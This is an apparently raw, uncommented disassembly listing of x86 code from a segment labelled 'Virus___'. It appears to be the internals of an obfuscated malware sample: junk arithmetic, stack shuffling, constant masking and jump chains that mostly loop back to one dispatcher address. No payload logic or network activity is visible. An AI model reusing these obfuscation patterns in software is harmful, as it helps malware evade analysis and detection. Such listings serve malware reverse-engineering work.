loc_57F4B4 ; --------------------------------------------------------------------------- loc_57F5DC: ; CODE XREF: Virus___:00593B4Dj add ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] sub esp, 4 jmp loc_586FD9 ; --------------------------------------------------------------------------- loc_57F5ED: ; CODE XREF: Virus___:0059245Cj mov ebx, 0BE20831h add ebx, 0F41DF7D3h jmp loc_585B0A ; --------------------------------------------------------------------------- loc_57F5FD: ; CODE XREF: Virus___:0058EEA0j sub edx, 32E426C4h add edx, 0D9C7272Ah add ecx, 0D3F2472h add ecx, edx sub ecx, 0D3F2472h pop edx push eax jmp loc_5847B0 ; --------------------------------------------------------------------------- loc_57F61E: ; CODE XREF: Virus___:0058EA7Aj pop esi jmp loc_5907D3 ; --------------------------------------------------------------------------- loc_57F624: ; CODE XREF: Virus___:00582DF2j add ebp, edi pop edi jmp loc_5833F8 ; --------------------------------------------------------------------------- loc_57F62C: ; CODE XREF: Virus___:0058485Cj mov ebx, esp jmp loc_5858E4 ; --------------------------------------------------------------------------- loc_57F633: ; CODE XREF: Virus___:0058B315j mov ebp, 6E6301EAh and ebp, 5D83170Dh sub ebp, 72B03693h xor ebp, 6A18283h xor esi, ebp pop ebp jmp loc_585CE1 ; --------------------------------------------------------------------------- loc_57F652: ; CODE XREF: Virus___:00582AB2j mov dl, 0A5h shl dl, 4 not dl not dl jmp loc_583C77 ; --------------------------------------------------------------------------- loc_57F660: ; CODE XREF: Virus___:005909FEj pop esp add edx, 7A0A27ECh sub edx, 57F22550h add edx, eax add edx, 57F22550h sub edx, 7A0A27ECh pop eax jmp loc_585E74 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx mov ebx, esp jmp loc_58B3BF ; --------------------------------------------------------------------------- loc_57F68D: ; CODE XREF: Virus___:00591C93j mov ebp, esp push edi jmp loc_583F65 ; --------------------------------------------------------------------------- loc_57F695: ; CODE XREF: Virus___:0058D32Aj shr ebp, 8 sub ebp, 1 xor ebp, 6C445E8Bh mov eax, ebp pop ebp add eax, 2DDF785Dh sub eax, 99DF992Bh jmp loc_583185 ; --------------------------------------------------------------------------- loc_57F6B6: ; CODE XREF: Virus___:005860D6j mov edx, [esp] push esi push esp pop esi add esi, 4 jmp loc_585A04 ; --------------------------------------------------------------------------- loc_57F6C7: ; CODE XREF: Virus___:0058B251j mov [esp], esi mov esi, 4 add ebp, esi mov esi, [esp] jmp loc_585100 ; --------------------------------------------------------------------------- loc_57F6D9: ; CODE XREF: Virus___:0058CB0Aj mov [esp], ebx jmp loc_590C87 ; --------------------------------------------------------------------------- loc_57F6E1: ; CODE XREF: Virus___:00593F28j push dword ptr [esp] jmp loc_587A97 ; --------------------------------------------------------------------------- loc_57F6E9: ; CODE XREF: Virus___:0058A901j add ecx, edi jmp loc_5845BD ; --------------------------------------------------------------------------- loc_57F6F0: ; CODE XREF: Virus___:0058F7E1j sub esp, 4 mov [esp], ebx xchg bh, [esp+1] dec bh xchg bh, [esp+1] pop ebx not bh push ecx mov cl, 0A5h neg cl sub cl, 45h sub bh, cl pop ecx push 4E34h mov [esp], ecx mov cl, 6Fh jmp loc_58BC61 ; --------------------------------------------------------------------------- loc_57F71D: ; CODE XREF: Virus___:0058772Ej mov edi, ecx pop ecx jmp loc_58202B ; --------------------------------------------------------------------------- loc_57F725: ; CODE XREF: Virus___:00580CD2j push eax mov eax, 4 jmp loc_58E4B7 ; --------------------------------------------------------------------------- loc_57F730: ; CODE XREF: Virus___:00581F66j push esi mov esi, 5E0E7F7Dh sub esi, 1443208Fh jmp loc_5812CE ; --------------------------------------------------------------------------- loc_57F741: ; CODE XREF: Virus___:0058D087j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_58DFC7 ; --------------------------------------------------------------------------- loc_57F752: ; CODE XREF: Virus___:00580B30j push ecx push 21B7h mov [esp], ebx sub dword ptr [esp], 6097492Ah mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_588E60 ; --------------------------------------------------------------------------- loc_57F77A: ; CODE XREF: Virus___:0058715Fj add ebx, edi pop edi add ebx, 30537AAh add ebx, ebp sub ebx, 30537AAh push ecx mov ecx, 5FE978E6h sub ebx, ecx mov ecx, [esp] add esp, 4 mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add ebx, 2 push ebx push dword ptr [esp+4] jmp loc_5894AC ; --------------------------------------------------------------------------- loc_57F7BD: ; CODE XREF: Virus___:005809B0j xor bx, ax movzx eax, ax sub esp, 4 jmp loc_58660C ; --------------------------------------------------------------------------- loc_57F7CB: ; CODE XREF: Virus___:0058604Fj add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_580FA9 ; --------------------------------------------------------------------------- loc_57F7E5: ; CODE XREF: Virus___:00581EAAj push 3E74h mov [esp], edx jmp loc_592BE2 ; --------------------------------------------------------------------------- loc_57F7F2: ; CODE XREF: Virus___:00583468j shl eax, 7 jmp loc_585168 ; --------------------------------------------------------------------------- loc_57F7FA: ; CODE XREF: Virus___:00580208j mov esi, [esp] add esp, 4 jmp loc_58E583 ; --------------------------------------------------------------------------- loc_57F805: ; CODE XREF: Virus___:00588C0Aj sub eax, 58E552B7h sub eax, esi jmp loc_5828E4 ; --------------------------------------------------------------------------- loc_57F811: ; CODE XREF: Virus___:0058D02Dj pop esp mov [esp], ebp push 42966154h pop ebp inc ebp shl ebp, 1 push 313Eh mov [esp], ecx jmp loc_5889B1 ; --------------------------------------------------------------------------- loc_57F82B: ; CODE XREF: Virus___:00590525j xchg edx, [esp] jmp loc_591EB9 ; --------------------------------------------------------------------------- loc_57F833: ; CODE XREF: Virus___:00581938j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58FFF2 ; --------------------------------------------------------------------------- loc_57F843: ; CODE XREF: Virus___:00584C9Aj add ebp, 54184398h jmp loc_58D925 ; --------------------------------------------------------------------------- loc_57F84E: ; CODE XREF: Virus___:00582A78j mov edi, 6F9B4618h inc edi xor edi, 6F9B461Dh add ebx, edi pop edi push 1544h mov [esp], edi push 64E5h mov [esp], ebx jmp loc_59325D ; --------------------------------------------------------------------------- loc_57F872: ; CODE XREF: Virus___:00585DFAj mov esi, 73C21936h add ecx, 6CBA0DF5h push 549Ch mov [esp], ebx push eax push esi mov esi, 51123B86h mov eax, 6E652BBh xor eax, esi pop esi shl eax, 1 jmp loc_593E40 ; --------------------------------------------------------------------------- loc_57F89B: ; CODE XREF: Virus___:0059255Dj pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_58BBF0 ; --------------------------------------------------------------------------- mov ax, [esp] push 30AFh mov [esp], eax jmp loc_58BF33 ; --------------------------------------------------------------------------- loc_57F8C5: ; CODE XREF: Virus___:00589298j add ecx, esi pop esi sub eax, 67C7240Eh sub eax, ecx add eax, 67C7240Eh jmp loc_58A3F7 ; --------------------------------------------------------------------------- loc_57F8D9: ; CODE XREF: Virus___:0058C87Fj sub ecx, eax pop eax push edi jmp loc_58D680 ; --------------------------------------------------------------------------- loc_57F8E2: ; CODE XREF: Virus___:005813A1j mov ebp, [esp] jmp loc_588507 ; --------------------------------------------------------------------------- loc_57F8EA: ; CODE XREF: Virus___:0058FF7Bj pop dword ptr [esp] jmp loc_586000 ; --------------------------------------------------------------------------- loc_57F8F2: ; CODE XREF: Virus___:0058870Dj mov ebx, [esp] jmp loc_5939EE ; --------------------------------------------------------------------------- loc_57F8FA: ; CODE XREF: Virus___:00591401j pop edx jmp loc_5803F8 ; --------------------------------------------------------------------------- loc_57F900: ; CODE XREF: Virus___:0058D2D7j add esi, ecx sub esi, 6A8C0277h sub esp, 4 jmp loc_582E21 ; --------------------------------------------------------------------------- loc_57F913: ; CODE XREF: Virus___:0058EF94j sub ebx, 76249C13h sub edi, ebx pop ebx jmp loc_58DC69 ; --------------------------------------------------------------------------- loc_57F921: ; CODE XREF: Virus___:00582565j mov [esp], eax mov ah, 0Ch jmp loc_587982 ; --------------------------------------------------------------------------- loc_57F92B: ; CODE XREF: Virus___:0057F3EAj sub ebx, 0E7C10BEEh or ecx, ebx pop ebx xor ecx, 1FE5D5E2h jmp loc_58D32F ; --------------------------------------------------------------------------- loc_57F93F: ; CODE XREF: Virus___:00582290j mov [esp], edi push eax mov eax, 60C825D2h push ebx mov ebx, 229F7611h neg ebx xor ebx, 783B6C77h add ebx, 0F9DBF49Ah mov edi, ebx pop ebx push ebp mov ebp, 26573DCBh sub edi, ebp pop ebp add edi, eax add edi, 26573DCBh pop eax mov ecx, edi jmp loc_588C0F ; --------------------------------------------------------------------------- loc_57F978: ; CODE XREF: Virus___:00592C20j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_589AB7 ; --------------------------------------------------------------------------- loc_57F989: ; CODE XREF: Virus___:0058B226j add ebp, 0E7F6B4A0h mov esi, 980BEE64h add esi, 188406FEh add esi, ebp push eax mov eax, 36C53EC7h push ebp mov ebp, 72BF6CBFh add ebp, 6EFF5B78h add eax, ebp pop ebp sub esi, 20200524h add esi, 60420Bh sub esi, eax jmp loc_5927FB ; --------------------------------------------------------------------------- loc_57F9C4: ; CODE XREF: Virus___:0058B57Aj push 2 jmp loc_583BF6 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax sub esp, 4 mov [esp], esi push esp pop esi push ebp push ebx mov ebx, 4 jmp loc_57FF23 ; --------------------------------------------------------------------------- loc_57F9E6: ; CODE XREF: Virus___:005913F3j and edi, edx pop edx jmp loc_5802FC ; --------------------------------------------------------------------------- push 0 push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_58AC4E ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_58AB74 ; --------------------------------------------------------------------------- loc_57FA10: ; CODE XREF: Virus___:0058B02Aj add edi, 4 xchg edi, [esp] jmp loc_590E09 ; --------------------------------------------------------------------------- loc_57FA1B: ; CODE XREF: Virus___:0058C4A2j inc edx neg edx inc edx push 0 sub [esp], edx pop edx add edx, 0BE427076h sub ebx, edx jmp loc_58F8FC ; --------------------------------------------------------------------------- loc_57FA35: ; CODE XREF: Virus___:0058A652j add edx, 0FFFFFFFFh jmp loc_590652 ; --------------------------------------------------------------------------- loc_57FA40: ; CODE XREF: Virus___:00586115j pop edi jmp loc_58D5D6 ; --------------------------------------------------------------------------- loc_57FA46: ; CODE XREF: Virus___:00581B5Aj mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_58B1A7 ; --------------------------------------------------------------------------- loc_57FA5F: ; CODE XREF: Virus___:00593E2Bj push 1460h mov [esp], edi jmp loc_58D268 ; --------------------------------------------------------------------------- loc_57FA6C: ; CODE XREF: Virus___:00581752j add esp, 4 jmp loc_5879D3 ; --------------------------------------------------------------------------- loc_57FA74: ; CODE XREF: Virus___:0058B61Bj mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp loc_57FA8A: ; CODE XREF: Virus___:00588A24j push esi mov esi, ebx push esi sub esp, 4 mov [esp], ebx jmp loc_58A84F ; --------------------------------------------------------------------------- loc_57FA99: ; CODE XREF: Virus___:0058A35Fj or eax, eax jz loc_58F2C6 push dword ptr [edi+1Ch] jmp loc_58A67B ; --------------------------------------------------------------------------- loc_57FAA9: ; CODE XREF: Virus___:0058912Fj push ebp push 288C6E41h mov ebp, [esp] add esp, 4 sub ebp, 288C6E3Dh push ebp pop ebx pop ebp add ebp, ebx push dword ptr [esp] pop ebx add esp, 4 push edx mov edx, 66D8050Eh not edx xor edx, 9927FAF5h sub ebp, edx pop edx xchg ebp, [esp] mov esp, [esp] jmp loc_585735 ; --------------------------------------------------------------------------- loc_57FAE3: ; CODE XREF: Virus___:0058E1FCj pop edx inc edi jmp loc_58E92E ; --------------------------------------------------------------------------- loc_57FAEA: ; CODE XREF: Virus___:00586B6Ej mov edx, 2 sub esi, 3E8213EAh jmp loc_58027A ; --------------------------------------------------------------------------- loc_57FAFA: ; CODE XREF: Virus___:00587040j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_581B7A ; --------------------------------------------------------------------------- loc_57FB0C: ; CODE XREF: Virus___:00582F86j pop edx not ebp sub ebp, 0D1FADB52h jmp loc_589141 ; --------------------------------------------------------------------------- loc_57FB1A: ; CODE XREF: Virus___:00581E83j push eax push edx jmp loc_589811 ; --------------------------------------------------------------------------- loc_57FB21: ; CODE XREF: Virus___:0058318Bj add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_589902 ; --------------------------------------------------------------------------- loc_57FB35: ; CODE XREF: Virus___:005868E7j or edx, 7F4948D2h add edx, 65CF32E9h jmp loc_57FCE1 ; --------------------------------------------------------------------------- loc_57FB46: ; CODE XREF: Virus___:0058F5CAj pop esi mov ecx, [esp] add esp, 4 jmp loc_58482D ; --------------------------------------------------------------------------- loc_57FB52: ; CODE XREF: Virus___:0058AE93j mov edx, ebp jmp loc_592EE8 ; --------------------------------------------------------------------------- loc_57FB59: ; CODE XREF: Virus___:0058D4D6j xor bl, 2Fh sub al, bl pop ebx sub al, 0ACh sub al, dl jmp loc_5806C6 ; --------------------------------------------------------------------------- loc_57FB68: ; CODE XREF: Virus___:00591735j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_57FB6D: ; CODE XREF: Virus___:0058F20Dj xor [esp], edi xor edi, [esp] mov esp, [esp] cmp ecx, eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_57FB7E: ; CODE XREF: Virus___:0058D29Fj pop bx sub al, 0DAh add al, 9Dh sub al, bl sub al, 9Dh push edx mov dh, 0D9h shl dh, 6 jmp loc_588C48 ; --------------------------------------------------------------------------- loc_57FB93: ; CODE XREF: Virus___:005885F5j mov ebx, 31A85709h jmp loc_581FC3 ; --------------------------------------------------------------------------- loc_57FB9D: ; CODE XREF: Virus___:00589628j xor ecx, eax mov eax, [esp] add esp, 4 and eax, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp or eax, eax jz loc_590FB6 push dword ptr [edi+1Ch] mov ecx, [esp] jmp loc_591C92 ; --------------------------------------------------------------------------- loc_57FBD3: ; CODE XREF: Virus___:00591592j pop eax add esp, 4 push 240Fh mov [esp], eax push 4756h mov [esp], ebx jmp loc_583FB4 ; --------------------------------------------------------------------------- lodsb push ebx mov bl, 0B8h shr bl, 1 inc bl jmp loc_58F4B7 ; --------------------------------------------------------------------------- loc_57FBF9: ; CODE XREF: Virus___:00593281j xor edx, [esp] pop esp loc_57FBFD: ; CODE XREF: Virus___:0058C2F0j sub esp, 4 mov [esp], ebx push dword ptr [esp] pop eax sub esp, 4 mov [esp], ecx push esp pop ecx add ecx, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_58CEEF ; --------------------------------------------------------------------------- mov ax, [esp] push 3EC9h mov [esp], ebp push esp jmp loc_584CB8 ; --------------------------------------------------------------------------- loc_57FC3E: ; CODE XREF: Virus___:005859ADj neg ecx xor ecx, 0B517869Ch add ebp, ecx pop ecx xchg ebp, [esp] jmp loc_58A364 ; --------------------------------------------------------------------------- loc_57FC51: ; CODE XREF: Virus___:00592741j xchg ebp, [esp] mov esp, [esp] mov [esp], eax mov ah, 2Ah push ecx mov ch, 3Ah dec ch not ch sub ch, 38h add bl, ch pop ecx add bl, 6Bh jmp loc_58F154 ; --------------------------------------------------------------------------- loc_57FC71: ; CODE XREF: Virus___:0058ADE0j pop ecx push edx mov edx, 2CA80CF0h jmp loc_588E84 ; --------------------------------------------------------------------------- loc_57FC7D: ; CODE XREF: Virus___:0058E17Bj push dword ptr [esp+4] push dword ptr [esp] mov ebp, [esp] push eax mov eax, esp add eax, 4 jmp loc_58330E ; --------------------------------------------------------------------------- loc_57FC94: ; CODE XREF: Virus___:0058B21Ej pop ecx add edx, 5F77345h add eax, edx pop edx jmp loc_58CA1A ; --------------------------------------------------------------------------- loc_57FCA3: ; CODE XREF: Virus___:00590F64j push 225D44F0h pop ecx shr ecx, 5 jmp loc_58A4EE ; --------------------------------------------------------------------------- loc_57FCB1: ; CODE XREF: Virus___:0058DB4Cj mov edi, 4 mov edx, edi jmp loc_58EA41 ; --------------------------------------------------------------------------- loc_57FCBD: ; CODE XREF: Virus___:0059071Dj sub ebx, ebp pop ebp jmp loc_586133 ; --------------------------------------------------------------------------- loc_57FCC5: ; CODE XREF: Virus___:0058A8E4j and eax, 2A636943h jmp loc_592CEA ; --------------------------------------------------------------------------- loc_57FCCF: ; CODE XREF: Virus___:005919ABj pop ebp sub eax, 7C60BC2h pop ebp xchg eax, [esp] mov esp, [esp] jmp loc_586D1B ; --------------------------------------------------------------------------- loc_57FCE1: ; CODE XREF: Virus___:0057FB41j push ebx jmp loc_584B53 ; --------------------------------------------------------------------------- loc_57FCE7: ; CODE XREF: Virus___:0058EF62j pop dword ptr [esp] pop esp mov [esp], dx push ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_57FCF7: ; CODE XREF: Virus___:0058D41Cj inc eax not eax shr eax, 7 xor eax, 7027E4F5h add ebx, eax mov eax, [esp] jmp loc_58B2B7 ; --------------------------------------------------------------------------- loc_57FD0C: ; CODE XREF: Virus___:00583151j pop ebp add edx, ecx jmp loc_5852FF ; --------------------------------------------------------------------------- loc_57FD14: ; CODE XREF: Virus___:00581C4Fj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], esi push 4311h mov [esp], edx mov edx, 211E1BFFh add edx, 3F265AB3h xor edx, 51BC25A5h push ebp mov ebp, 0F7007D9Bh add edx, ebp pop ebp mov esi, edx mov edx, [esp] add esp, 4 add eax, 45FA1336h sub eax, esi sub eax, 45FA1336h pop esi push edx jmp loc_593373 ; --------------------------------------------------------------------------- loc_57FD60: ; CODE XREF: Virus___:005858EAj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax jmp loc_58FF8C ; --------------------------------------------------------------------------- loc_57FD6F: ; CODE XREF: Virus___:00583ABBj add [esp+4], ecx jmp loc_581B55 ; --------------------------------------------------------------------------- loc_57FD78: ; CODE XREF: Virus___:0058385Ej not edi add edi, 0FAC313C6h add eax, edi pop edi add eax, 4 push 36D9h mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_58B31A ; --------------------------------------------------------------------------- loc_57FD9A: ; CODE XREF: Virus___:0059371Aj add ebp, 1054159Dh add ebp, esi sub ebp, 1054159Dh pop esi push edx mov edx, 176F1F3Eh jmp loc_58F763 ; --------------------------------------------------------------------------- loc_57FDB4: ; CODE XREF: Virus___:0058869Fj add ax, 0A482h push 731Ah mov [esp], edx mov dx, ax mov cx, dx pop edx mov eax, [esp] push ebp push 1A36h mov [esp], ecx mov ecx, esp add ecx, 4 push ebp jmp loc_587551 ; --------------------------------------------------------------------------- loc_57FDE1: ; CODE XREF: Virus___:00580445j add ebx, ebp pop ebp xchg ebx, [esp] pop esp add ebx, edi push 287Dh jmp loc_591AA4 ; --------------------------------------------------------------------------- loc_57FDF4: ; CODE XREF: Virus___:00582F98j mov [esp], ebx push esp push dword ptr [esp] pop ebx jmp loc_58E63C ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push edx mov edx, esp add edx, 4 sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_585C9B ; --------------------------------------------------------------------------- loc_57FE20: ; CODE XREF: Virus___:0058F5F6j mov [esp], edx mov edx, 742379F4h sub ebp, 7C6538AEh sub ebp, edx push ecx mov ecx, 7C6538AEh add ebp, ecx pop ecx pop edx and eax, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], esi jmp loc_5831E3 ; --------------------------------------------------------------------------- loc_57FE4B: ; CODE XREF: Virus___:0058CE19j push ebx sub esp, 4 mov [esp], ecx jmp loc_58328A ; --------------------------------------------------------------------------- loc_57FE57: ; CODE XREF: Virus___:0058D9D7j xchg ebx, [esp] pop esp movzx cx, al push eax mov eax, esp push edx push esp pop edx add edx, 4 jmp loc_5886F1 ; --------------------------------------------------------------------------- loc_57FE70: ; CODE XREF: Virus___:005853E2j mov [esp], ebx jmp loc_582EB0 ; --------------------------------------------------------------------------- loc_57FE78: ; CODE XREF: Virus___:0058F192j not ebx inc ebx jmp loc_5856B8 ; --------------------------------------------------------------------------- loc_57FE80: ; CODE XREF: Virus___:0058A6D1j add esp, 4 jmp loc_580E73 ; --------------------------------------------------------------------------- loc_57FE88: ; CODE XREF: Virus___:005919A1j add [esp+8], eax pop eax jmp loc_5932B0 ; --------------------------------------------------------------------------- loc_57FE92: ; CODE XREF: Virus___:0058DAFCj add ecx, 11472BECh jmp loc_5813AE ; --------------------------------------------------------------------------- loc_57FE9D: ; CODE XREF: Virus___:00583ACAj push 2798h mov [esp], ecx push ebx mov ebx, 2A9D6E5Eh dec ebx add ebx, 0FFFFFFFFh xor ebx, 31CB5779h mov ecx, ebx pop ebx jmp loc_58BA0E ; --------------------------------------------------------------------------- loc_57FEC0: ; CODE XREF: Virus___:00589518j mov dl, bh jmp loc_58C270 ; --------------------------------------------------------------------------- loc_57FEC7: ; CODE XREF: Virus___:0058C5FFj push 79C7h mov [esp], edi mov edi, 71A46963h sub [esp+8], edi pop edi add [esp+4], esi push esi mov esi, 71A46963h add [esp+8], esi pop esi jmp loc_5842D0 ; --------------------------------------------------------------------------- loc_57FEED: ; CODE XREF: Virus___:00593774j pop edx add ebx, eax mov eax, [esp] add esp, 4 sub ebx, 1 xchg eax, ebx not eax xchg eax, ebx sub ebx, 5D3D37F5h add eax, ebx jmp loc_586938 ; --------------------------------------------------------------------------- loc_57FF10: ; CODE XREF: Virus___:00580F5Ej push edx mov edx, 23E07CC8h push ebx mov ebx, 0C7254FDh xor edx, ebx jmp loc_593874 ; --------------------------------------------------------------------------- loc_57FF23: ; CODE XREF: Virus___:0057F9E1j mov ebp, ebx pop ebx add esi, ebp jmp loc_58C6BF ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_59073C ; --------------------------------------------------------------------------- loc_57FF35: ; CODE XREF: Virus___:00594100j push dword ptr [esp] mov eax, [esp] add esp, 4 push esi push 71D0h mov [esp], esp jmp loc_592A57 ; --------------------------------------------------------------------------- loc_57FF4F: ; CODE XREF: Virus___:00594450j and ebp, 1E7B4ED4h xor ebp, 6D984B66h jmp loc_58314F ; --------------------------------------------------------------------------- loc_57FF60: ; CODE XREF: Virus___:005840FCj shr ebp, 1 xor ebp, 606169D9h and ebp, 24DD68A0h xor ebp, 36512FC6h sub eax, ebp pop ebp sub eax, edi push 5949h mov [esp], edx mov edx, 168D07C6h add eax, edx pop edx pop edi jmp loc_58696B ; --------------------------------------------------------------------------- loc_57FF8F: ; CODE XREF: Virus___:005912D7j pop esi xchg ebx, [esp] jmp loc_593808 ; --------------------------------------------------------------------------- loc_57FF98: ; CODE XREF: Virus___:00581D5Fj pop edx jmp loc_589E67 ; --------------------------------------------------------------------------- loc_57FF9E: ; CODE XREF: Virus___:005880F2j add ebp, 45AC70BFh add ebp, eax sub ebp, 45AC70BFh pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push dword ptr [eax] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_57FFC4: ; CODE XREF: Virus___:00590CABj xor ebx, [esp] mov esp, [esp] push edx push ecx mov ecx, 707C583Ah push ebx push edi mov edi, 519943DCh sub edi, 0A1FC9E5h mov ebx, edi mov edi, [esp] add esp, 4 xor ecx, ebx pop ebx jmp loc_58F000 ; --------------------------------------------------------------------------- loc_57FFF1: ; CODE XREF: Virus___:0058B54Bj pop edx add edx, 4 sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push esp jmp loc_592671 ; --------------------------------------------------------------------------- loc_58000E: ; CODE XREF: Virus___:00590C3Ej add eax, ebx pop ebx sub esp, 4 mov [esp], ecx push ebp push eax mov eax, 73C31936h push eax jmp loc_58764B ; --------------------------------------------------------------------------- loc_580027: ; CODE XREF: Virus___:0058BADEj shr eax, 5 shr eax, 2 jmp loc_58ACBA ; --------------------------------------------------------------------------- loc_580032: ; CODE XREF: Virus___:005894A7j add bl, ch pop ecx mov eax, [esp] push eax jmp loc_58260D ; --------------------------------------------------------------------------- loc_58003E: ; CODE XREF: Virus___:00583511j xor [esp+4], eax pop eax pop edx push esi mov esi, 5A5478D5h jmp loc_585C57 ; --------------------------------------------------------------------------- loc_58004F: ; CODE XREF: Virus___:0058BE4Bj sub ebx, 5CCB27B8h jmp loc_587C28 ; --------------------------------------------------------------------------- loc_58005A: ; CODE XREF: Virus___:00580D38j add esp, 4 push eax jmp loc_580DC1 ; --------------------------------------------------------------------------- loc_580063: ; CODE XREF: Virus___:0058F26Cj push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] jmp loc_5931A4 ; --------------------------------------------------------------------------- loc_580071: ; CODE XREF: Virus___:0058BD80j shl ecx, 1 sub ecx, 7DBB3C41h sub ebx, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp shr ebx, 7 push esi push eax push esi mov esi, 11CACE3h mov eax, esi mov esi, [esp] add esp, 4 mov esi, eax pop eax sub ebx, esi mov esi, [esp] add esp, 4 mov esi, ebx jmp loc_583C49 ; --------------------------------------------------------------------------- loc_5800B9: ; CODE XREF: Virus___:00592D95j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5800BE: ; CODE XREF: Virus___:00587AE7j xor ebx, ecx xor ecx, ebx xor ebx, ecx jmp loc_58585E ; --------------------------------------------------------------------------- loc_5800C9: ; CODE XREF: Virus___:00593C0Fj mov esp, [esp] push edx jmp loc_580D3D ; --------------------------------------------------------------------------- loc_5800D2: ; CODE XREF: Virus___:00585C96j sub edi, 73361A0h pop esi xchg edi, [esp] jmp loc_5924DE ; --------------------------------------------------------------------------- loc_5800E1: ; CODE XREF: Virus___:00587086j add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push 7FA5h mov [esp], edx push 296Eh mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] add esp, 4 jmp loc_58C969 ; --------------------------------------------------------------------------- loc_580114: ; CODE XREF: Virus___:00581616j xor ecx, 6F7721Ch jmp loc_588C5D ; --------------------------------------------------------------------------- loc_58011F: ; CODE XREF: Virus___:00593E3Bj neg bh neg bh jmp loc_587E0D ; --------------------------------------------------------------------------- loc_580128: ; CODE XREF: Virus___:0058766Ej push esi mov esi, 2 sub ebp, 45E36763h add ebp, esi add ebp, 45E36763h pop esi xchg ebp, [esp] pop esp mov ax, [esp] push 6B99h jmp loc_5877DD ; --------------------------------------------------------------------------- loc_58014F: ; CODE XREF: Virus___:0058C45Dj pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx jmp loc_583F43 ; --------------------------------------------------------------------------- loc_580164: ; CODE XREF: Virus___:00583728j pop ebx sub al, 43h push ebx mov bh, 0Bh sub al, 0D3h push bx mov bl, 0C3h add al, bl jmp loc_591279 ; --------------------------------------------------------------------------- loc_580177: ; CODE XREF: Virus___:0058AE08j xor cl, 4Ah not cl shr cl, 1 jmp loc_58A112 ; --------------------------------------------------------------------------- loc_580183: ; CODE XREF: Virus___:00592F52j pop edi push 25ABh mov [esp], edx jmp loc_57F4E0 ; --------------------------------------------------------------------------- loc_580191: ; CODE XREF: Virus___:00583180j push ecx push esi mov esi, 7C6C4CC7h jmp loc_589E80 ; --------------------------------------------------------------------------- loc_58019D: ; CODE XREF: Virus___:00587376j pop esp pop edx dec cl and cl, 0B4h push ebx mov bh, 37h jmp loc_58CBA7 ; --------------------------------------------------------------------------- loc_5801AC: ; CODE XREF: Virus___:0058F187j mov [esp], eax jmp loc_582EE4 ; --------------------------------------------------------------------------- loc_5801B4: ; CODE XREF: Virus___:005896C2j mov ecx, 4 sub edx, ecx pop ecx xchg edx, [esp] pop esp push 11C8h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_591972 ; --------------------------------------------------------------------------- loc_5801D7: ; CODE XREF: Virus___:00580201j push eax push 4E8Eh mov [esp], edi mov edi, 530D20B4h shl edi, 3 xor edi, 0D71A74C8h jmp loc_5921A6 ; --------------------------------------------------------------------------- loc_5801F3: ; CODE XREF: Virus___:00586723j sub edx, 7A6D034Dh jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5801FE: ; CODE XREF: Virus___:00590502j mov [esp], ebx jmp loc_5801D7 ; --------------------------------------------------------------------------- loc_580206: ; CODE XREF: Virus___:005917A6j add edi, esi jmp loc_57F7FA ; --------------------------------------------------------------------------- loc_58020D: ; CODE XREF: Virus___:00590D3Bj add ebp, 0BF4A3022h and ecx, ebp pop ebp sub ecx, 6001902h sub esi, 31671DCh add esi, ecx add esi, 31671DCh mov ecx, [esp] jmp loc_58E2EC ; --------------------------------------------------------------------------- loc_580232: ; CODE XREF: Virus___:0058EF10j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_580237: ; CODE XREF: Virus___:0058AD8Cj pop edx add esp, 4 or edx, eax shl edx, 1 push 78D1h mov [esp], ebx push 1 mov ebx, [esp] add esp, 4 push esi mov esi, esp jmp loc_5907A9 ; --------------------------------------------------------------------------- loc_58025D: ; CODE XREF: Virus___:00582A9Dj shr eax, 4 jmp loc_5825FD ; --------------------------------------------------------------------------- loc_580265: ; CODE XREF: Virus___:0058A403j mov [esp], esp add dword ptr [esp], 4 pop eax push 2E41h mov [esp], edx jmp loc_58EEE2 ; --------------------------------------------------------------------------- loc_58027A: ; CODE XREF: Virus___:0057FAF5j add esi, edx jmp loc_58FC60 ; --------------------------------------------------------------------------- 